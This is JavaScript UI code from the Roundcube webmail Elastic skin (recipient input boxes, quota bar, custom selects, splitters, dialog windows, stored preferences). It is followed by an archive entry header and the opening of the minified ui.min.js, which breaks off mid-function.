        if (!rcmail.env.recipient_selector_initialized) {
            rcmail.addEventListener('add-recipient', close_func);
            rcmail.env.recipient_selector_initialized = true;
        }

        if (field) {
            rcmail.env.focused_field = '#_' + field;
        }

        rcmail.contact_list.clear_selection();
        rcmail.contact_list.multiselect = 'multiselect' in opts ? opts.multiselect : true;

        rcmail.env.recipient_dialog = rcmail.simple_dialog(dialog, title, insert_func, {
            button: rcmail.gettext(opts.button || 'insert'),
            button_class: opts.button_class || 'insert recipient',
            height: 600,
            classes: {
              'ui-dialog-content': 'p-0' // remove padding on dialog content
            },
            open: function() {
                // Don't want focus in the search field, we focus first contacts source record instead
                $('#directorylist a').first().focus();
            },
            close: function() {
                dialog.appendTo(parent);
                $(this).remove();
                $(opts.focus || rcmail.env.focused_field).focus();
            }
        });
    };

    /**
     * Create/Update quota widget (setquota event handler)
     */
    function update_quota(p)
    {
        var element = $('#quotadisplay'),
            bar = element.find('.bar'),
            value = p.total ? p.percent : 0;

        if (!bar.length) {
            bar = $('<span class="bar"><span class="value"></span></span>').appendTo(element);
        }

        if (value > 0 && value < 10) {
            value = 10; // smaller values look not so nice
        }

        bar.find('.value').css('width', value + '%')[value >= 90 ? 'addClass' : 'removeClass']('warning');
        // set title and reset tooltip's data (needed in case of empty title)
        element.attr({'data-original-title': '', title: element.find('.count').attr('title')});

        if (p.table) {
            element.css('cursor', 'pointer').data('popup-pos', 'top')
                .off('click').on('click', function(e) {
                    rcmail.simple_dialog(p.table, 'quota', null, {cancel_button: 'close'});
                });
        }
        else {
            element.tooltip('dispose').tooltip({trigger: is_mobile() ? 'click' : 'hover'});
        }
    };

    /**
     * Replaces recipient input with content-editable element that uses "recipient boxes"
     */
    function recipient_input(obj)
    {
        var list, input, selection = '',
            apply_func = function() {
                // update the original input
                $(obj).val(list.text() + input.val());
            },
            insert_recipient = function(name, email, replace) {
                var recipient = $('<li class="recipient">'),
                    name_element = $('<span class="name">').html(recipient_input_name(name || email))
                        .on('dblclick', function(e) { recipient_input_edit_dialog(e, insert_recipient); }),
                    email_element = $('<span class="email">'),
                    // TODO: should the 'close' link have tabindex?
                    link = $('<a>').attr({'class': 'button icon remove'})
                        .click(function() {
                            recipient.remove();
                            apply_func();
                            input.focus();
                            return false;
                        });

                if (name) {
                    email = ' <' + email + '>';
                }

                email_element.text((name ? email : '') + ',');
                recipient.attr('title', name ? (name + email) : null)
                    .append([name_element, email_element, link])

                if (replace)
                    replace.replaceWith(recipient);
                else
                    recipient.insertBefore(input.parent());

                apply_func();
            },
            update_func = function(text) {
                var result;

                text = (text || input.val()).replace(/[,;\s]+$/, '');
                result = recipient_input_parser(text);

                $.each(result.recipients, function() {
                    insert_recipient(this.name, this.email);
                });

                input.val(result.text);
                apply_func();

                return result.recipients.length > 0;
            },
            parse_func = function(e, ac, trigger) {
                var last, paste, value = this.value;

                // #8098: ignore changes when autocomplete_insert is not triggered
                if (trigger === false) {
                    return;
                }

                // On paste the text is not yet in the input we have to use clipboard.
                // Also because on paste new-line characters are replaced by spaces (#6460)
                if (e.type == 'paste') {
                    // pasted text
                    paste = (e.originalEvent.clipboardData || window.clipboardData).getData('text') || '';
                    // insert pasted text in place of the selection (or just cursor position)
                    value = value.substring(0, this.selectionStart) + paste + value.substring(this.selectionEnd);
                    e.preventDefault();
                }
                // #7231: When clicking on autocompletion list a change event
                // is fired twice. We have to remove last recipient box if it is
                // the same recipient (with incomplete email address).
                // FIXME: Anyone with a better solution?
                else if (ac) {
                    last = list.find('li.recipient').last();
                    if (last.length && this.value.indexOf(last.text().replace(/[ ,]+$/, '')) > -1) {
                        last.remove();
                    }
                }

                update_func(value);
            },
            keydown_func = function(e) {
                // On Backspace remove the last recipient
                if (e.keyCode == 8 && !input.val().length) {
                    list.children('li.recipient').last().remove();
                    apply_func();
                    return false;
                }
                // Here we add a recipient box when the separator (,;\s) or Enter was pressed,
                else if (e.key == ' ' || e.key == ',' || e.key == ';' || (e.key == 'Enter' && !rcmail.ksearch_visible())) {
                    if (update_func()) {
                        return false;
                    }
                }
            };

        // Create the input element and "editable" area
        input = $('<input>').attr({type: 'text', tabindex: $(obj).attr('tabindex')})
            .on('paste change', parse_func)
            .on('keydown', keydown_func)
            .on('blur', function() { list.removeClass('focus'); })
            .on('focus mousedown', function() { list.addClass('focus'); });

        list = $('<ul>').addClass('form-control recipient-input ac-input rounded-left')
            .append($('<li class="input">').append(input))
            // "selection" hack to allow text selection in the recipient box or multiple boxes (#7129)
            .on('mouseup', function () { selection = window.getSelection().toString(); })
            .on('click', function() { if (!selection.length) input.focus(); })
            .sortable({
                appendTo: document.body,
                items: "> .recipient",
                connectWith: '.recipient-input',
                receive: function(event, ui) {
                    var recipient = list.text();
                    list.find('.recipient').remove();
                    update_func(recipient);
                    if (ui.sender) {
                        ui.sender.find('input').change();
                    }
                }
            });

        // Hide the original input/textarea
        // Note: we do not remove the original element, and we do not use
        // display: none, because we want to handle onfocus event
        // Note: tabindex:-1 to make Shift+TAB working on these widgets
        $(obj).css({position: 'absolute', opacity: 0, left: '-5000px', width: '10px'})
            .attr('tabindex', -1)
            .after(list)
            // some core code sometimes focuses or changes the original node
            // in such cases we want to parse its value and apply changes
            // to the widget element
            .on('focus', function(e) { input.focus(); e.preventDefault(); })
            .on('change', function() {
                $('li.recipient', list).remove();
                input.val(this.value).change();
            })
            // copy and parse the value already set
            .change();

        // Init autocompletion
        rcmail.init_address_input_events(input);
    };

    /**
     * Parses recipient address input and extracts recipients from it
     */
    function recipient_input_parser(text)
    {
        // support new-line as a separator, for paste action (#6460)
        text = text.replace(/[,;\s]*[\r\n]+/g, ',').trim();

        var recipients = [],
            address_rx_part = '(\\S+|("[^"]+"))@\\S+',
            recipient_rx1 = new RegExp('(<' + address_rx_part + '>)'),
            recipient_rx2 = new RegExp('(' + address_rx_part + ')'),
            global_rx = /(?=\S)[^",;]*(?:"[^\\"]*(?:\\[,;\S][^\\"]*)*"[^",;]*)*/g,
            matches = text.match(global_rx);

        $.each(matches || [], function() {
            if (this.length && (recipient_rx1.test(this) || recipient_rx2.test(this))) {
                var email, str = this;

                text = text.replace(str, '');

                // Support space-separated email addresses
                while (str.length && str.indexOf(RegExp.$1) === 0) {
                    email = RegExp.$1;
                    recipients.push({
                        name: '',
                        email: email.replace(/(^<|>$)/g, '') // trim < and > characters
                            .replace(/[^\p{L}]$/giu, '') // remove trailing comma or any non-letter character at the end (#7899, #9257)
                    });

                    str = str.replace(email, '').trim();
                    if (!recipient_rx1.test(str) && !recipient_rx2.test(str)) {
                        break;
                    }
                }

                if (email != RegExp.$1 && RegExp.$1) {
                    email = RegExp.$1;
                    recipients.push({
                        name: str.replace(email, '').trim(),
                        email: email.replace(/(^<|>$)/g, '')
                    });
                }
            }
        });

        text = text.replace(/[,;]+/, ',').replace(/^[,;\s]+/, '');

        return {recipients: recipients, text: text};
    };

    /**
     * Generates HTML for a text adding <span class="hidden">
     * for quote/backslash characters, so they are hidden from the user,
     * but still in place to make copying simpler
     *
     * Note: Selection works in Chrome, but not in Firefox?
     */
    function recipient_input_name(text)
    {
        var i, char, result = '', len = text.length;

        if (text.charAt(0) != '"' && text.indexOf('"') > -1) {
            text = '"' + text.replace('\\', '\\\\').replace('"', '\\"') + '"';
        }

        for (i=0; i<len; i++) {
            char = text.charAt(i);
            switch (char) {
                case '"':
                    if (i > 0 && i < len - 1) {
                        result += '"';
                        break;
                    }

                    result += '<span class="quotes">' + char + '</span>';
                    break;

                case '\\':
                    result += '<span class="quotes">' + char + '</span>';

                    if (text.charAt(i+1) == '\\') {
                        result += char;
                        i++;
                    }
                    break;

                case '<':
                    result += '&lt;';
                    break;

                case '>':
                    result += '&gt;';
                    break;

                default:
                    result += char;
            }
        }

        return result;
    };

    /**
     * Displays dialog to edit a recipient entry
     */
    function recipient_input_edit_dialog(e, callback)
    {
        var element = $(e.target).parents('.recipient'),
            recipient = element.text().replace(/,+$/, ''),
            input = $('<input>').attr({type: 'text', 'data-submit': 'true'}).val(recipient),
            content = $('<label>').text(rcmail.gettext('recipient')).append(input);

        rcmail.simple_dialog(content, 'recipientedit', function() {
                var result, value = input.val();
                if (value) {
                    if (value != recipient) {
                        result = recipient_input_parser(value);

                        if (result.recipients.length != 1) {
                            return false;
                        }

                        callback(result.recipients[0].name, result.recipients[0].email, element);
                    }

                    return true;
                }
            });
    };

    /**
     * Adds logic to the contact photo widget
     */
    function image_upload_input(obj)
    {
        var reset_button = $('<a>')
                .attr({'class': 'icon button delete', href: '#', })
                .click(function(e) { rcmail.command('delete-photo', '', this, e); return false; }),
            img = $(obj).find('img')[0],
            img_onload = function() {
                var state = (img.currentSrc || img.src).indexOf(rcmail.env.photo_placeholder) != -1;
                $(obj)[state ? 'removeClass' : 'addClass']('changed');
            };

        $(obj).append(reset_button).click(function() { rcmail.upload_input('upload-form'); });

        // Note: Looks like only Firefox does not need this separate call
        img_onload();
        $(img).on('load', img_onload);
    };

    /**
     * Displays loading... overlay for iframes
     */
    function iframe_loader(frame)
    {
        frame = $(frame);

        if (frame.length) {
            var loader = $('<div class="iframe-loader">')
                .append($('<div class="spinner spinner-border" role="status">')
                    .append($('<span class="sr-only">').text(rcmail.gettext('loading'))));

            // custom 'loaded' event is expected to be triggered by plugins
            // when using the loader not on an iframe
            frame.on('load error loaded', function() {
                    // wait some time to make sure the iframe stopped loading
                    setTimeout(function() { loader.remove(); }, 500);
                })
                .parent().append(loader);

            // fix scrolling in iOS
            if (ios) {
                frame.parent().addClass('ios-scroll');
            }
        }
    };

    /**
     * Convert checkbox input into Bootstrap's custom switch
     */
    function pretty_checkbox(checkbox)
    {
        var label, parent, id;

        checkbox = $(checkbox);

        if (checkbox.is('.custom-control-input')) {
            return;
        }

        if (!(id = checkbox.attr('id'))) {
            id = 'icochk' + (++env.checkboxes);
            checkbox.attr('id', id);
        }

        if (checkbox.parent().is('label')) {
            label = checkbox.parent();
            checkbox = checkbox.detach();
            label.before(checkbox);
        }
        else {
            label = $('<label>');
        }

        label.attr({'for': id, 'class': 'custom-control-label', title: checkbox.attr('title') || ''})
            .on('click', function(e) { e.stopPropagation(); });

        checkbox.addClass('form-check-input custom-control-input')
            .wrap('<div class="custom-control custom-switch">')
            .parent().append(label);
    };

    /**
     * Fix pretty checkbox input in a cloned element
     */
    function pretty_checkbox_fix(params)
    {
        var id, input = $(params.row).find('input[id^=icochk]');

        if (input.length) {
            id = 'icochk' + (++env.checkboxes);
            input.attr('id', id).next('label').attr('for', id);
        }
    };

    /**
     * Make select dropdowns pretty
     * TODO: searching, optgroup, [multiple], iPhone/iPad
     */
    function pretty_select(select)
    {
        // iPhone is not supported yet (problem with browser dropdown on focus)
        if (bw.iphone || bw.ipad) {
            return;
        }

        select = $(select);

        if (select.is('.pretty-select')) {
            return;
        }

        var select_ident = 'select' + select.attr('id') + select.attr('name');
        var is_menu_open = function() {
            // Use proper window in cases when the select element initialized
            // inside an iframe is then used in a dialog inside a parent's window
            // For some reason we can't access data-button property in cross-window
            // case, we use data-ident attribute instead
            var win = select[0].ownerDocument.defaultView;
            if (win.$('.select-menu .listing').data('ident') == select_ident) {
                return true;
            }
        };

        var close_func = function() {
            var open = is_menu_open();
            select.popover('dispose').focus();
            return !open;
        };

        var open_func = function(e) {
            var last_char, last_index = -1, items = [], index = [],
                dialog = select.closest('.ui-dialog')[0],
                max_height = (document.documentElement.clientHeight || $(document.body).height()) - 75,
                max_width = $(document.body).width() - 20,
                min_width = Math.min(select.outerWidth(), max_width),
                value = select.val();

            if (!is_mobile()) {
                max_height *= 0.5;
            }

            // close other popups
            popups_close(e);

            $('option', select).each(function() {
                var label = $(this).text(),
                    link = $('<a href="#">')
                        .data('value', this.value)
                        .addClass(this.disabled ? 'disabled' : 'active' + (this.value == value ? ' selected' : ''));

                if (label.length) {
                    link.text(label);
                    index.push(this.disabled ? '' : label.charAt(0).toLowerCase());
                }
                else {
                    link.html('&nbsp;'); // link can't be empty
                    index.push('');
                }

                items.push($('<li>').append(link));
            });

            var list = $('<ul class="listing selectable iconized">')
                .attr('data-ident', select_ident)
                .data('button', select[0])
                .append(items)
                .on('click', 'a.active', function() {
                    // first close the list, then update the select, the order is important
                    // for cases when the select might be removed in change event (datepicker)
                    var val = $(this).data('value'), ret = close_func();
                    select.val(val).change();
                    return ret;
                })
                .on('keydown', 'a.active', function(e) {
                    var item, char, last, node, mode = 'next';

                    switch (e.which) {
                        case 27: // ESC
                        case 9:  // TAB
                            return close_func();

                        case 13: // ENTER
                        case 32: // SPACE
                            $(this).click();
                            return false; // for IE

                        case 38: // ARROW-UP
                        case 63232:
                            mode = 'previous';
                            // no-break
                        case 40: // ARROW-DOWN
                        case 63233:
                            item = e.target.parentNode;
                            while (item = item[mode + 'Sibling']) {
                                if (node = $(item).children('.active')[0]) {
                                    node.focus();
                                    break;
                                }
                            }
                            return false; // prevents from scrolling the whole page

                        default:
                            // A letter key has been pressed, search mode
                            char = e.originalEvent.key;

                            if (char && char.length == 1) {
                                char = char.toLowerCase();

                                if (last_char != char) {
                                    last_index = -1;
                                }

                                last = index.indexOf(char, last_index + 1);

                                if (last > -1 || (last = index.indexOf(char)) > -1) {
                                    list.find('a').eq(last).focus();
                                }

                                last_char = char;
                                last_index = last;
                            }
                    }
                });

            select.popover('dispose')
                .popover({
                    // because of focus issues we can't always use body,
                    // if select is in a dialog, popover has to be a child of this dialog
                    container: dialog || document.body,
                    content: list[0],
                    placement: 'bottom',
                    trigger: 'manual',
                    boundary: 'viewport',
                    html: true,
                    offset: '0,2',
                    sanitize: false,
                    template: '<div class="popover select-menu" style="min-width: ' + min_width + 'px; max-width: ' + max_width + 'px">'
                        + '<div class="popover-header"></div>'
                        + '<div class="popover-body" style="max-height: ' + max_height + 'px"></div></div>'
                })
                .on('shown.bs.popover', function() {
                    select.focus(); // for Chrome
                    // Set popup Close title
                    list.parent().prev()
                        .empty()
                        .append($('<a class="button icon cancel">').text(rcmail.gettext('close'))
                            .on('click', function(e) {
                                e.stopPropagation();
                                return close_func();
                            })
                        );

                    // Find the selected item, focus it
                    var selected = list.find('a.selected').first();
                    if (selected.focus().length) {
                        var list_parent = list.parent();

                        last_index = list.find('a').index(selected[0]);
                        last_char = index[last_index];

                        // try to scroll the list so focused element is in center (for Firefox)
                        if (bw.mz && last_index > 5) {
                            list_parent.scrollTop(list_parent.scrollTop() + list_parent.height()/2 - 20);
                        }
                    }
                    // focus first active element on the list
                    else if (rcube_event.is_keyboard(e)) {
                        list.find('a.active').first().focus();
                    }

                    // don't propagate mousedown event
                    list.on('mousedown', function(e) { e.stopPropagation(); });
                })
                .popover('show');
        };

        select.addClass('pretty-select custom-select form-control')
            .on('mousedown keydown', function(e) {
                select = $(e.target); // so it works after clone

                // Do nothing on disabled select or on TAB key
                if (select.prop('disabled')) {
                    return;
                }

                if (e.which == 9) {
                    close_func();
                    return true;
                }

                // Close popup on ESC key or on click if already open
                if (e.which == 27 || (e.type == 'mousedown' && is_menu_open())) {
                    return close_func();
                }

                select.focus();

                // prevent displaying browser-default select dropdown
                select.prop('disabled', true);
                setTimeout(function() { select.prop('disabled', false); }, 0);
                e.stopPropagation();

                // display options in our way (on SPACE, ENTER, ARROW-DOWN or mousedown)
                if (e.type == 'mousedown' || e.which == 13 || e.which == 32 || e.which == 40 || e.which == 63233) {
                    open_func(e);

                    // Prevent from closing the menu by general popover closing handler (popups_close())
                    // We used to just stop propagation in onclick handler, but it didn't work
                    // in Chrome where onclick handler wasn't invoked on mobile (#6705)
                    popups_close_lock = new Date().getTime();

                    return false;
                }
            })
    };

    /**
     * HTML editor textarea wrapper with plain-to-html switch button
     */
    function html_editor_init(obj)
    {
        // Here we support two kinds of structure:
        // 1. <div><textarea></textarea><select class="hidden"></div>
        // 2. <tr><td><td><td><textarea></textarea></td></tr>
        //    <tr><td><td><td><input type="checkbox"></td></tr>

        var sw, is_table = false,
            editor = $(obj),
            parent = editor.parent(),
            readonly = editor.is('[readonly],[disabled]'),
            plain_btn = $('<a class="mce-i-html" href="#" tabindex="-1"></a>')
                .attr({title: rcmail.gettext('htmltoggle'), disabled: readonly})
                .on('click', function(e) {
                    if (!readonly && rcmail.command('toggle-editor', {id: editor.attr('id'), html: true}, '', e.originalEvent)) {
                        parent.addClass('ishtml');
                    }
                })
                .on('keydown', function(e) {
                    if (e.which == 9) { // TAB
                        editor.focus();
                        return false;
                    }
                }),
            toolbar = $('<div class="editor-toolbar">').append(plain_btn);

        if (parent.is('td')) {
            sw = $('input[type="checkbox"]', parent.parent().next());
            is_table = true;
        }
        else {
            sw = editor.next('select.hidden');
        }

        // make the textarea autoresizeable
        textarea_autoresize_init(obj);

        // sanity check
        if (sw.length != 1) {
            return;
        }

        parent.addClass('html-editor');

        editor.after(toolbar).data('control', sw)
            .on('keydown', function(e) {
                // ALT + F10 is the way to access toolbar in TinyMCE, let's do the same for plain editor
                if (e.altKey && e.which == 121) {
                    plain_btn.focus();
                }
            });

        if (is_table) {
            // Hide unwanted table cells
            sw.parents('tr').first().hide();
            parent.prev().hide();
            // Modify the textarea cell to use 100% width
            parent.addClass('col-sm-12');
        }
    };

    /**
     * Make the textarea autoresizeable depending on it's content length.
     * The way there's no vertical scrollbar.
     */
    function textarea_autoresize_init(textarea)
    {
        var padding, minHeight,
            resize = function() {
                // Wait until the textarea is visible
                if (!textarea.scrollHeight) {
                    return setTimeout(resize, 250);
                }

                if (!padding) {
                    padding = parseInt($(textarea).css('padding-top')) + parseInt($(textarea).css('padding-bottom')) + 2;
                    minHeight = $(textarea).height();
                }

                if (textarea.scrollHeight - padding <= minHeight) {
                    return;
                }

                // To fix scroll-jump we'll re-apply scrollTop to the (scrolled) parent
                // after we reset textarea height
                var scroll_element, scroll_pos = 0;
                $(textarea).parents().each(function() {
                    if (this.scrollTop > 0) {
                        scroll_element = this;
                        scroll_pos = this.scrollTop;
                        return false;
                    }
                });

                var oldHeight = $(textarea).outerHeight();
                $(textarea).outerHeight(0);
                var newHeight = Math.max(minHeight, textarea.scrollHeight);
                $(textarea).outerHeight(oldHeight);
                if (newHeight !== oldHeight) {
                    $(textarea).height(newHeight);
                }

                if (scroll_pos) {
                    scroll_element.scrollTop = scroll_pos;
                }
            };

        $(textarea).on('input', resize).trigger('input');
    };

    // Initializes smart list input
    function smart_field_init(field)
    {
        var tip, id = field.id + '_list',
            area = $('<div class="multi-input"><div class="content"></div><div class="invalid-feedback"></div></div>'),
            list = field.value ? field.value.split("\n") : [''];

        if ($('#' + id).length) {
            return;
        }

        // add input rows
        $.each(list, function(i, v) {
            smart_field_row_add($('.content', area), v, i, field);
        });

        area.attr('id', id);
        field = $(field);

        if (field.attr('disabled')) {
            area.hide();
        }
        // disable the original field anyway, we don't want it in POST
        else {
            field.prop('disabled', true);
        }

        if (field.data('hidden')) {
            area.hide();
        }

        field.after(area);

        if (field.hasClass('is-invalid')) {
            area.addClass('is-invalid');
            $('.invalid-feedback', area).text(field.data('error-msg'));
        }
    };

    function smart_field_row_add(area, value, idx, field, after)
    {
        // build row element content
        var input,
            elem = $('<div class="input-group">'
                + '<input type="text" class="form-control">'
                + '<span class="input-group-append"><a class="icon reset input-group-text" href="#"></a></span>'
                + '</div>');

        input = elem.find('input').attr({
                value: value,
                name: field.name + '[]',
                size: $(field).data('size'),
                title: field.title,
                placeholder: field.placeholder
            })
            .keydown(function(e) {
                // element creation event (on Enter)
                if (e.which == 13) {
                    var elem = smart_field_row_add(area, '', (new Date()).getTime(), field, input.parent());

                    $('input', elem).focus();
                }
                // backspace or delete: remove input, focus previous one
                else if ((e.which == 8 || e.which == 46) && input.val() == '') {
                    var parent = input.parent(),
                        siblings = area.children();

                    if (siblings.length > 1) {
                        if (parent.prev().length) {
                            parent.prev().children('input').focus();
                        }
                        else {
                            parent.next().children('input').focus();
                        }

                        parent.remove();
                        return false;
                    }
                }
            });

        // element deletion event
        elem.find('a.reset').click(function() {
            var record = $(this.parentNode.parentNode);

            if (area.children().length > 1) {
                $('input', record.next().length ? record.next() : record.prev()).focus();
                record.remove();
            }
            else {
                $('input', record).val('').focus();
            }
        });

        elem.find('input,a')
            .on('focus', function() { area.addClass('focused'); })
            .on('blur', function() { area.removeClass('focused'); });

        if (after) {
            after.after(elem);
        }
        else {
            elem.appendTo(area);
        }

        return elem;
    };

    // Reset and fill the smart list input with new data
    function smart_field_reset(field, data)
    {
        var id = field.id + '_list',
            list = data.length ? data : [''],
            area = $('#' + id).children('.content');

        area.empty();

        // add input rows
        $.each(list, function(i, v) {
            smart_field_row_add(area, v, i, field);
        });
    };

    /**
     * Register form errors, mark fields as invalid, display the error below the input
     */
    function form_errors(tips)
    {
        $.each(tips, function() {
            var input = $('#' + this[0]).addClass('is-invalid');

            if (input.data('type') == 'list') {
                input.data('error-msg', this[2]);
                $('#' + this[0] + '_list > .invalid-feedback').text(this[2]);
                return;
            }

            input.after($('<span class="invalid-feedback">').text(this[2]));
        });
    };

    /**
     * Show/hide the navigation list
     */
    function switch_nav_list(obj)
    {
        var records, height, speed = 250,
            button = $('a', obj),
            navlist = $(obj).next();

        if (!navlist.height()) {
            records = $('tr,li', navlist).filter(function() { return this.style.display != 'none'; });
            height = $(records[0]).height() || 50;

            navlist.animate({height: (Math.min(5, records.length) * height + 1) + 'px'}, speed);
            button.addClass('collapse').removeClass('expand');
            $(obj).addClass('expanded');
        }
        else {
            navlist.animate({height: '0'}, speed);
            button.addClass('expand').removeClass('collapse');
            $(obj).removeClass('expanded');
        }
    };

    /**
     * Create a splitter (resizing) element on a layout column
     */
    function splitter_init(node)
    {
        // Use id of the list element, if exists, as a part of the key, instead of action.column-id
        // This way e.g. the sidebar in Settings is always the same width for all Settings' pages
        var list_id = node.find('.scroller .listing').first().attr('id'),
            key = rcmail.env.task + '.' + (list_id || (rcmail.env.action + '.' + node.attr('id'))),
            pos = get_pref(key),
            inverted = node.is('.sidebar-right'),
            set_width = function(width) {
                node.css({
                    width: Math.max(100, width),
                    // reset default properties
                    // 'min-width': 100,
                    flex: 'none'
                });
            };

        if (!node[inverted ? 'prev' : 'next']().length) {
            return;
        }

        $('<div class="column-resizer">')
            .addClass(inverted ? 'inverted' : null)
            .appendTo(node)
            .on('mousedown', function(e) {
                var ts, splitter = $(this), offset = node.position().left;

                // Makes col-resize cursor follow the mouse pointer on dragging
                // and fixes issues related to iframes
                splitter.addClass('active');

                // Disable selection on document while dragging
                // It can happen when you move mouse out of window, on top
                document.body.style.userSelect = 'none';

                // Start listening to mousemove events
                $(document)
                    .on('mousemove.resizer', function(e) {
                        // Use of timeouts makes the move more smooth in Chrome
                        clearTimeout(ts);
                        ts = setTimeout(function() {
                            // For left-side-splitter we need the current offset
                            if (inverted) {
                                offset = node.position().left;
                            }
                            var cursor_position = rcube_event.get_mouse_pos(e).x,
                                width = inverted ? node.width() + (offset - cursor_position) : cursor_position - offset;

                            set_width(width);
                        }, 5);
                    })
                    .on('mouseup.resizer', function() {
                        // Remove registered events
                        $(document).off('.resizer');
                        $('iframe').off('.resizer');
                        document.body.style.userSelect = 'auto';

                        // Set back the splitter width to normal
                        splitter.removeClass('active');

                        // Save the current position (width)
                        set_pref(key, node.width());
                    });
            });

        if (pos) {
            set_width(pos);
        }
    };

    /**
     * Wrapper for rcmail.open_window to intercept window opening
     * and display a dialog with an iframe instead of a real window.
     */
    function window_open(url, small, toolbar, force_window)
    {
        var colorFunc = function (body) {
            $(body).css({
                color: $(document.body).css('color'),
                backgroundColor: $(document.body).css('background-color')
            })
        };

        var setColor = color_mode == 'dark' && /_task=mail/.test(url) && /_action=viewsource/.test(url);

        // Use 4th argument to bypass the dialog-mode e.g. for external windows
        if (!is_mobile() || force_window === true) {
            // On attachment preview page we do not display the properties sidebar
            // so we can use a smaller window, as we do for print pages
            if (/_task=mail/.test(url) && /_action=get/.test(url)) {
                small = true;
            }

            var win = env.open_window.call(rcmail, url, small, toolbar);

            // Switch the plain/text window to dark-mode
            if (setColor) {
                $(win).on('load', function() { colorFunc(win.document.body); });
            }

            return win;
        }

        // _extwin=1, _framed=1 are required to display attachment preview
        // layout properly and make mobile menus working
        url = rcmail.add_url(url, '_framed', 1);
        url = rcmail.add_url(url, '_extwin', 1);

        var label, title = '',
            props = {cancel_button: 'close', width: 768, height: 768},
            frame = $('<iframe>').attr({id: 'windowframe', src: url});

        if (/_action=([a-z_]+)/.test(url) && (label = rcmail.labels[RegExp.$1])) {
            title = label;
        }

        if (/_frame=1/.test(url)) {
            props.dialogClass = 'no-titlebar';
        }

        // Switch the plain/text iframe to dark-mode
        if (setColor) {
            frame.on('load', function() { colorFunc(frame[0].contentWindow.document.body); });
        }

        rcmail.simple_dialog(frame, title, null, props);

        return true;
    };

    /**
     * Get layout modes. In frame mode returns the parent layout modes.
     */
    function layout_metadata()
    {
        if (is_framed) {
            var doc = $(parent.document.documentElement);

            return {
                mode: doc[0].className.match(/layout-([a-z]+)/) ? RegExp.$1 : mode,
                touch: doc.is('.touch'),
            };
        }

        return {mode: mode, touch: touch};
    };

    /**
     * Returns true if the layout is in 'small' or 'phone' mode
     */
    function is_mobile()
    {
        var meta = layout_metadata();

        return meta.mode == 'phone' || meta.mode == 'small';
    };

    /**
     * Returns true if the layout is in 'touch' mode
     */
    function is_touch()
    {
        var meta = layout_metadata();

        return meta.touch;
    };

    /**
     * Get preference stored in browser
     */
    function get_pref(key)
    {
        if (!prefs) {
            prefs = rcmail.local_storage_get_item('prefs.elastic', {});
        }

        // fall-back to cookies
        if (prefs[key] == null) {
            var cookie = rcmail.get_cookie(key);
            if (cookie != null) {
                prefs[key] = cookie;

                // copy value to local storage and remove cookie (if localStorage is supported)
                if (rcmail.local_storage_set_item('prefs.elastic', prefs)) {
                    rcmail.set_cookie(key, cookie, new Date());  // expire cookie
                }
            }
        }

        return prefs[key];
    };

    /**
     * Saves preference value to browser storage
     */
    function set_pref(key, val)
    {
        prefs[key] = val;

        // write prefs to local storage (if supported)
        if (!rcmail.local_storage_set_item('prefs.elastic', prefs)) {
            // store value in cookie
            rcmail.set_cookie(key, val, false);
        }
    };
}

if (window.rcmail) {
    /**
     * Elastic version of show_menu as we don't need e.g. menu positioning from core
     * TODO: keyboard navigation in menus
     */
    rcmail.show_menu = function(prop, show, event)
    {
        var name = typeof prop == 'object' ? prop.menu : prop,
            obj = $('#' + name);

        if (typeof prop == 'string') {
            prop = {menu: name};
        }

        // just delegate the action to rcube_elastic_ui
        return rcmail.triggerEvent(show === false ? 'menu-close' : 'menu-open', {name: name, obj: obj, props: prop, originalEvent: event});
    }

    /**
     * Elastic version of hide_menu as we don't need e.g. menus stack handling
     */
    rcmail.hide_menu = function(name, event)
    {
        // delegate to rcube_elastic_ui
        return rcmail.triggerEvent('menu-close', {name: name, props: {menu: name}, originalEvent: event});
    }
}
else {
    // rcmail does not exists e.g. on the error template inside a frame
    // we fake the engine a little
    var rcmail = parent.rcmail,
        rcube_webmail = parent.rcube_webmail,
        bw = {};
}

var UI = new rcube_elastic_ui();

// Improve non-inline datepickers
if ($ && $.datepicker) {
    var __newInst = $.datepicker._newInst;

    $.extend($.datepicker, {
        _newInst: function(target, inline) {
            var inst = __newInst.call(this, target, inline);

            if (!inst.inline) {
                UI.datepicker_init(inst.dpDiv);
            }

            return inst;
        }
    });
}
PKh�\.v�����skins/elastic/ui.min.jsnu�[���/**
 * Roundcube webmail functions for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original autors in the README file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 *
 * @license magnet:?xt=urn:btih:90dc5c0be029de84e523b9b3922520e79e0e6f08&dn=cc0.txt CC0-1.0
 */
"use strict";function rcube_elastic_ui(){var a,f,n,R,t,i,N,o,e,s,r,W,P,U,q,l,c,H,d,u,p=this,m="normal",h="light",B=!1,F=!1,v=rcmail.is_framed(),g={config:{standard_windows:rcmail.env.standard_windows,message_extwin:rcmail.env.message_extwin,compose_extwin:rcmail.env.compose_extwin,help_open_extwin:rcmail.env.help_open_extwin},checkboxes:0,small_screen_config:{standard_windows:!0,message_extwin:!1,compose_extwin:!1,help_open_extwin:!1}},b={},Y=[],K=[],_={menu:$("#layout-menu"),sidebar:$("#layout-sidebar"),list:$("#layout-list"),content:$("#layout-content")},k={menu:$("a.task-menu-button"),back_sidebar:$("a.back-sidebar-button"),back_list:$("a.back-list-button"),back_content:$("a.back-content-button")};this.register_content_buttons=function(e){{var t;g.frame_nav&&e&&e.length&&(t=g.frame_nav.children(".buttons"),Y=[],$.each(e,function(){this.data("target")&&Y.push(this.data("target"))}),t.html("").append(e))}},this.menu_hide=O,this.menu_toggle=ce,this.menu_destroy=de,this.popup_init=z,this.about_dialog=function(e){var t,a,n=!1,i=$("<iframe>").attr({id:"aboutframe",src:rcmail.url("settings/about",{_framed:1})}),o=$("#supportlink");o.length&&(t=o.attr("href"))&&(n=o.text(),a=function(e){t.indexOf("mailto:")<0?window.open(t):location.href=t});rcmail.simple_dialog(i,$(e).text(),a,{button:n,button_class:"help",cancel_button:"close",height:400})},this.headers_dialog=function(){var e={_uid:rcmail.env.uid,_mbox:rcmail.env.mailbox,_framed:1},e=$("<iframe>").attr({id:"headersframe",src:rcmail.url("headers",e)});rcmail.simple_dialog(e,"arialabelmessageheaders",null,{cancel_button:"close",height:400})},this.import_dialog=function(){var t;rcmail.commands["import-messages"]&&(t=$("#uploadform").clone(!0),rcmail.simple_dialog(t,"importmessages",function(e){return rcmail.command("import-messages",$(t.find("form")[0]))},{button:"import",closeOnEscape:!0,minWidth:400}))},this.props_dialog=function(){var 